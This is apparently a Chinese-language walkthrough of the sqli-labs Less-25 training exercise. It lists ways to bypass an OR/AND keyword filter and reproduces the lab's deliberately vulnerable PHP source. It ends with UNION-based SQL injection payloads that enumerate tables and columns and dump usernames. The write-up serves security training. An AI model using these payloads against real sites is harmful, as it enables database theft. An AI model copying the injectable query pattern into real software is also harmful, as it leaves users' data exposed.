#sqli-labs less25
有过滤的时候首先要判断这个过滤是一次性的还是非一次性的:
若是一次性的,且只是将过滤字符换成了空字符:
- 双写——or=oorr、and=anandd
若是非一次性的,就要考虑一些变形:
- 大小写变形——or=Or=oR=OR
- 利用运算符——or=||、and=&&
- URL编码——#=%23,Hex编码——~=0x7e
- 添加注释——/or/
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>Less-25 Trick with OR & AND</title>
</head>
<body bgcolor="#000000">
<div style=" margin-top:70px;color:#FFF; font-size:40px; text-align:center">Welcome<font color="#FF0000"> Dhakkan </font><br>
<font size="3" color="#FFFF00">
<?php
//including the Mysql connect parameters.
include("../sql-connections/sql-connect.php");
// take the variables
if(isset($_GET['id']))
{
$id=$_GET['id'];
//logging the connection parameters to a file for analysis.
$fp=fopen('result.txt','a');
fwrite($fp,'ID:'.$id."\n");
fclose($fp);
//fiddling with comments
$id= blacklist($id);
//echo "<br>";
//echo $id;
//echo "<br>";
$hint=$id;
// connectivity
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);
if($row)
{
echo "<font size='5' color= '#99FF00'>";
echo 'Your Login name:'. $row['username'];
echo "<br>";
echo 'Your Password:' .$row['password'];
echo "</font>";
}
else
{
echo '<font color= "#FFFF00">';
print_r(mysql_error());
echo "</font>";
}
}
else
{
echo "Please input the ID as parameter with numeric value";
}
function blacklist($id)
{
$id= preg_replace('/or/i',"", $id);
//strip out OR (non case sensitive)
$id= preg_replace('/AND/i',"", $id); //Strip out AND (non case sensitive)
return $id;
}
?>
</font> </div></br></br></br><center>
</br>
</br>
</br>
</br>
</br>
<font size='4' color= "#33FFFF">
<?php
echo "Hint: Your Input is Filtered with following result: ".$hint;
?>
</font>
</center>
</body>
</html>
查看代码发现有过滤而且是对or and 进行过滤
并且是一次性的过滤,所以采用双写过滤
’ oorrder by 3 --+
?id=7879' union select 1,(select group_concat(table_name)from infoorrmation_schema.tables where table_schema='security'),3 -- +
?id=-1' union select 1,(select group_concat(column_name)from infoorrmation_schema.columns where table_name='users'),3--+
?id=78977' union select 1,(select group_concat('~',username,'~') from security.users ),3--+